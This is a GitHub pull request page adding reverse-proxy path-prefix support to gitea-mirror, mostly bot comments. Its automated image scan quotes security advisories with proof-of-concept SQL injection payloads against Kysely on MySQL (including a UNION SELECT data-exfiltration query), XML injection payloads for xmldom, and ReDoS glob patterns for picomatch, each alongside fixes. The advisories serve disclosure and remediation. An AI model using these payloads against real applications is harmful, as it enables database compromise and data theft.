feat: support reverse proxy path prefix deployments by arunavo4 · Pull Request #257 · RayLabsHQ/gitea-mirror

arunavo4 · 2026-04-02T02:34:14Z

Summary

add BASE_URL-aware path helpers and Astro base normalization
make auth basePath, redirects, and OIDC pages respect BASE_URL
update internal links, API calls, and SSE/EventSource URLs to be base-path aware
document BASE_URL and wire Docker build/runtime/healthchecks for prefix deployments

Testing

bun test
bun run build

Closes #256

cloudflare-workers-and-pages · 2026-04-02T02:35:13Z

Deploying gitea-mirror-website with Cloudflare Pages

Latest commit:	`7d6bbe9`
Status:	✅ Deploy successful!
Preview URL:	https://559145e6.gitea-mirror-website.pages.dev
Branch Preview URL:	https://codex-issue-256-base-url.gitea-mirror-website.pages.dev

View logs

github-actions · 2026-04-02T02:39:54Z

🐳 Docker Image Built Successfully

Your PR image is available for testing:

Image Tag: pr-257
Full Image Path: ghcr.io/raylabshq/gitea-mirror:pr-257

Pull and Test

docker pull ghcr.io/raylabshq/gitea-mirror:pr-257
docker run -d   -p 4321:4321   -e BETTER_AUTH_SECRET=your-secret-here   -e BETTER_AUTH_URL=http://localhost:4321   --name gitea-mirror-test ghcr.io/raylabshq/gitea-mirror:pr-257

Docker Compose Testing

services:
  gitea-mirror:
    image: ghcr.io/raylabshq/gitea-mirror:pr-257
    ports:
      - "4321:4321"
    environment:
      - BETTER_AUTH_SECRET=your-secret-here
      - BETTER_AUTH_URL=http://localhost:4321
      - BETTER_AUTH_TRUSTED_ORIGINS=http://localhost:4321

💡 Note: PR images are tagged as pr-<number> and built for both linux/amd64 and linux/arm64.
Production images (latest, version tags) use the same multi-platform set.

📦 View in GitHub Packages

github-actions · 2026-04-02T02:40:43Z

🔍 Vulnerabilities of `gitea-mirror:scan`

📦 Image Reference gitea-mirror:scan

digest	`sha256:6b432ef45d490345abacca9ef365e16b6beb1e4d3dacdd5ef426b0874da6afbc`
vulnerabilities
platform	linux/amd64
size	297 MB
packages	800

📦 Base Image debian:trixie

digest	`sha256:13f29b6806e531c3ff3b565bb6eed73f2132506c8c9d41bb996065ca20fb27f2`
vulnerabilities

kysely 0.28.12 (npm)

pkg:npm/kysely@0.28.12

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Affected range	`<=0.28.13`
Fixed version	`0.28.14`
CVSS Score	`8.1`
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
EPSS Score	`0.048%`
EPSS Percentile	`15th percentile`

Description

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}
Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845
protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}
This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278
where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}
The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

sanitizeStringLiteral doubles the quote: \'' OR 1=1 --

appendStringLiteral wraps: '\'' OR 1=1 --'

MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string

OR 1=1 -- is parsed as SQL

PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote
To verify against a live MySQL instance:
-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';
Impact

SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.

Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.

Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.

Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts
const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}
Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Affected range	`>=0.28.12 <=0.28.13`
Fixed version	`0.28.14`
CVSS Score	`8.1`
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
EPSS Score	`0.048%`
EPSS Percentile	`15th percentile`

Description

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}
The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --

The full compiled path becomes: '$.\'' OR 1=1 --'

MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)

The second ' now terminates the string literal

OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results
Simplified verification of the bypass mechanics:
const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL
Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.

Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.

Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.

Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.

Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:
// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}
With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:
// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}
A corresponding test should be added to test/node/src/sql-injection.test.ts:
it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})

nghttp2 1.64.0-1.1 (deb)

pkg:deb/debian/nghttp2@1.64.0-1.1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=1.64.0-1.1`
Fixed version	Not Fixed
EPSS Score	`0.017%`
EPSS Percentile	`4th percentile`

Description

nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API nghttp2_session_terminate_session or nghttp2_session_terminate_session2 is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.

nghttp2 1.68.1-1 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131369)
GHSA-6933-cjhr-5qg6
Fixed by: nghttp2/nghttp2@5c7df8f (v1.68.1)

picomatch 2.3.1 (npm)

pkg:npm/picomatch@2.3.1

Inefficient Regular Expression Complexity

Affected range	`<2.3.2`
Fixed version	`2.3.2`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.040%`
EPSS Percentile	`12th percentile`

Description

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

disable extglob support for untrusted patterns by using noextglob: true

reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()

enforce strict allowlists for accepted pattern syntax

run matching in an isolated worker or separate process with time and resource limits

apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

Picomatch repository: https://github.com/micromatch/picomatch

lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms

Comparable ReDoS precedent: CVE-2024-4067 (micromatch)

Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

picomatch 4.0.3 (npm)

pkg:npm/picomatch@4.0.3

Inefficient Regular Expression Complexity

Affected range	`>=4.0.0 <4.0.4`
Fixed version	`4.0.4`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.040%`
EPSS Percentile	`12th percentile`

Description

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

disable extglob support for untrusted patterns by using noextglob: true

reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()

enforce strict allowlists for accepted pattern syntax

run matching in an isolated worker or separate process with time and resource limits

apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

Picomatch repository: https://github.com/micromatch/picomatch

lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms

Comparable ReDoS precedent: CVE-2024-4067 (micromatch)

Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

@xmldom/xmldom 0.8.11 (npm)

pkg:npm/%40xmldom/xmldom@0.8.11

XML Injection (aka Blind XPath Injection)

Affected range	`<0.8.12`
Fixed version	`0.8.12`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

Description

Summary

@xmldom/xmldom allows attacker-controlled strings containing the CDATA terminator ]]> to be inserted into a CDATASection node. During serialization, XMLSerializer emitted the CDATA content verbatim without rejecting or safely splitting the terminator. As a result, data intended to remain text-only became active XML markup in the serialized output, enabling XML structure
injection and downstream business-logic manipulation.

The sequence ]]> is not allowed inside CDATA content and must be rejected or safely handled during serialization. (MDN Web Docs)

Attack surface

Document.createCDATASection(data) is the most direct entry point, but it is not the only one. The WHATWG DOM spec intentionally does not validate ]]> in mutation methods — only createCDATASection carries that guard. The following paths therefore also allow ]]> to enter a CDATASection node and reach the serializer:

CharacterData.appendData()

CharacterData.replaceData()

CharacterData.insertData()

Direct assignment to .data

Direct assignment to .textContent

(Note: assigning to .nodeValue does not update .data in this implementation — the serializer reads .data directly — so .nodeValue is not an exploitable path.)

Parse path

Parsing XML that contains a CDATA section is not affected. The SAX parser's non-greedy CDSect regex stops at the first ]]>, so parsed CDATA data never contains the terminator.

Impact

If an application uses xmldom to generate "trusted" XML documents that embed untrusted user input inside CDATA (a common pattern in exports, feeds, SOAP/XML integrations, etc.), an attacker can inject additional XML elements/attributes into the generated document.

This can lead to:

Integrity violation of generated XML documents.

Business-logic injection in downstream consumers (e.g., injecting <approved>true</approved>, <role>admin</role>, workflow flags, or other security-relevant elements).

Unexpected privilege/workflow decisions if downstream logic assumes injected nodes cannot appear.

This issue does not require malformed parsers or browser behavior; it is caused by serialization producing attacker-influenced XML markup.

Root Cause (with file + line numbers)

File: lib/dom.js

1. No validation in createCDATASection

createCDATASection: function (data) accepts any string and appends it directly.

Lines 2216–2221 (0.9.8)

2. Unsafe CDATA serialization

Serializer prints CDATA sections as:
<![CDATA[ + node.data + ]]>
without handling ]]> in the data.

Lines 2919–2920 (0.9.8)

Because CDATA content is emitted verbatim, an embedded ]]> closes the CDATA section early and the remainder of the attacker-controlled payload is interpreted as markup in the serialized XML.

Proof of Concept — Fix A: createCDATASection now throws

On patched versions, passing ]]> directly to createCDATASection throws InvalidCharacterError instead of silently accepting the payload:
const { DOMImplementation } = require('./lib');

const doc = new DOMImplementation().createDocument(null, 'root', null);
try {
  doc.createCDATASection('SAFE]]><injected attr="pwn"/>');
  console.log('VULNERABLE — no error thrown');
} catch (e) {
  console.log('FIXED — threw:', e.name); // InvalidCharacterError
}
Expected output on patched versions:
FIXED — threw: InvalidCharacterError
Proof of Concept — Fix B: mutation vector now safe

On patched versions, injecting ]]> via a mutation method (appendData, replaceData, .data =, .textContent =) no longer produces injectable output. The serializer splits the terminator so the result round-trips as safe text:
const { DOMImplementation, XMLSerializer } = require('./lib');
const { DOMParser } = require('./lib');

const doc = new DOMImplementation().createDocument(null, 'root', null);

// Start with safe data, then mutate to include the terminator
const cdata = doc.createCDATASection('safe');
doc.documentElement.appendChild(cdata);
cdata.appendData(']]><injected attr="pwn"/><more>TEXT</more><![CDATA[');

const out = new XMLSerializer().serializeToString(doc);
console.log('Serialized:', out);

const reparsed = new DOMParser().parseFromString(out, 'text/xml');
const injected = reparsed.getElementsByTagName('injected').length > 0;
console.log('Injected element found in reparsed doc:', injected);
// VULNERABLE: true  |  FIXED: false
Expected output on patched versions:
Serialized: <root><![CDATA[safe]]]]><![CDATA[><injected attr="pwn"/><more>TEXT</more><![CDATA[]]></root>
Injected element found in reparsed doc: false
Fix Applied

Both mitigations were implemented:

Option A — Strict/spec-aligned: reject ]]> in createCDATASection()

Document.createCDATASection(data) now throws InvalidCharacterError (per the WHATWG DOM spec) when data contains ]]>. This closes the direct entry point.

Code that previously passed a string containing ]]> to createCDATASection and relied on the silent/unsafe behaviour will now receive InvalidCharacterError. Use a mutation method such as appendData if you intentionally need ]]> in a CDATASection node's data (the serializer split in Option B will keep the output safe).

Option B — Defensive serialization: split the terminator during serialization

XMLSerializer now replaces every occurrence of ]]> in CDATA section data with the split sequence ]]]]><![CDATA[> before emitting. This closes all mutation-vector paths that Option A alone cannot guard, and means the serialized output is always well-formed XML regardless of how ]]> entered the node.

lodash 4.17.21 (npm)

pkg:npm/lodash@4.17.21

Improper Control of Generation of Code ('Code Injection')

Affected range	`>=4.0.0 <=4.17.23`
Fixed version	`4.18.0`
CVSS Score	`8.1`
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`

Description

Impact

The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.

When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.

Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().

Patches

Users should upgrade to version 4.18.0.

The fix applies two changes:

Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option)

Replace assignInWith with assignWith when merging imports, so only own properties are enumerated

Workarounds

Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.

github-actions · 2026-04-02T02:40:46Z

Recommended fixes for local `gitea-mirror:scan`

Base image is debian:trixie

Name	trixie
Digest	sha256:13f29b6806e531c3ff3b565bb6eed73f2132506c8c9d41bb996065ca20fb27f2
Vulnerabilities
Pushed	1 month ago
Size	49 MB
Packages	111

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

✅ There are no tag recommendations at this time.

github-actions · 2026-04-02T02:41:18Z

Overview

Image reference	`ghcr.io/raylabshq/gitea-mirror:latest`	`gitea-mirror:scan`
- digest	`1b16f2f16777`	`6b432ef45d49`
- tag	`latest`	`scan`
- provenance	`7d6bbe9`	oven-sh/bun@`30e609e`
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	257 MB	297 MB (+40 MB)
- packages	800	800
Base Image	`debian:trixie`	`debian:trixie`
- vulnerabilities

Labels (8 changes)

± 8 changed

-org.opencontainers.image.created=2026-04-02T02:46:04.789Z
+org.opencontainers.image.created=2026-02-26T07:10:54.054Z
-org.opencontainers.image.description=Gitea Mirror auto-syncs GitHub repos to your self-hosted Gitea/Forgejo, with a sleek Web UI and easy Docker deployment.
+org.opencontainers.image.description=Incredibly fast JavaScript runtime, bundler, test runner, and package manager – all in one
-org.opencontainers.image.licenses=AGPL-3.0
+org.opencontainers.image.licenses=NOASSERTION
-org.opencontainers.image.revision=7d6bbe908f34e7767c48e3e2a18b632ea4232d91
+org.opencontainers.image.revision=30e609e08073cf7114bfb278506962a5b19d0677
-org.opencontainers.image.source=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.source=https://github.com/oven-sh/bun
-org.opencontainers.image.title=gitea-mirror
+org.opencontainers.image.title=bun
-org.opencontainers.image.url=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.url=https://github.com/oven-sh/bun
-org.opencontainers.image.version=pr-257
+org.opencontainers.image.version=1.3.10-debian

github-actions · 2026-04-02T02:50:50Z

🐳 Docker Image Built Successfully

Your PR image is available for testing:

Image Tag: pr-257
Full Image Path: ghcr.io/raylabshq/gitea-mirror:pr-257

Pull and Test

docker pull ghcr.io/raylabshq/gitea-mirror:pr-257
docker run -d   -p 4321:4321   -e BETTER_AUTH_SECRET=your-secret-here   -e BETTER_AUTH_URL=http://localhost:4321   --name gitea-mirror-test ghcr.io/raylabshq/gitea-mirror:pr-257

Docker Compose Testing

services:
  gitea-mirror:
    image: ghcr.io/raylabshq/gitea-mirror:pr-257
    ports:
      - "4321:4321"
    environment:
      - BETTER_AUTH_SECRET=your-secret-here
      - BETTER_AUTH_URL=http://localhost:4321
      - BETTER_AUTH_TRUSTED_ORIGINS=http://localhost:4321

💡 Note: PR images are tagged as pr-<number> and built for both linux/amd64 and linux/arm64.
Production images (latest, version tags) use the same multi-platform set.

📦 View in GitHub Packages

feat: support reverse proxy path prefixes

96e4653

fix: respect BASE_URL in SAML callback fallback

7d6bbe9

Uh oh!

Conversation

arunavo4 commented Apr 2, 2026

Summary

Testing

Uh oh!

cloudflare-workers-and-pages bot commented Apr 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Deploying gitea-mirror-website with Cloudflare Pages

Uh oh!

github-actions bot commented Apr 2, 2026

🐳 Docker Image Built Successfully

Pull and Test

Docker Compose Testing

Uh oh!

github-actions bot commented Apr 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of gitea-mirror:scan

Summary

Details

PoC

Impact

Recommended Fix

Summary

Details

PoC

Impact

Recommended Fix

Impact

Patches

Workarounds

Resources

Impact

Patches

Workarounds

Resources

Summary

Attack surface

Parse path

Impact

Root Cause (with file + line numbers)

1. No validation in createCDATASection

2. Unsafe CDATA serialization

Proof of Concept — Fix A: createCDATASection now throws

Proof of Concept — Fix B: mutation vector now safe

Fix Applied

Option A — Strict/spec-aligned: reject ]]> in createCDATASection()

Option B — Defensive serialization: split the terminator during serialization

Impact

Patches

Workarounds

Uh oh!

github-actions bot commented Apr 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Recommended fixes for local gitea-mirror:scan

Refresh base image

Change base image

Uh oh!

github-actions bot commented Apr 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

Uh oh!

github-actions bot commented Apr 2, 2026

🐳 Docker Image Built Successfully

Pull and Test

Docker Compose Testing

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

cloudflare-workers-and-pages bot commented Apr 2, 2026 •

edited

Loading

github-actions bot commented Apr 2, 2026 •

edited

Loading

🔍 Vulnerabilities of `gitea-mirror:scan`

1. No validation in `createCDATASection`

Proof of Concept — Fix A: `createCDATASection` now throws

Option A — Strict/spec-aligned: reject `]]>` in `createCDATASection()`

github-actions bot commented Apr 2, 2026 •

edited

Loading

Recommended fixes for local `gitea-mirror:scan`

github-actions bot commented Apr 2, 2026 •

edited

Loading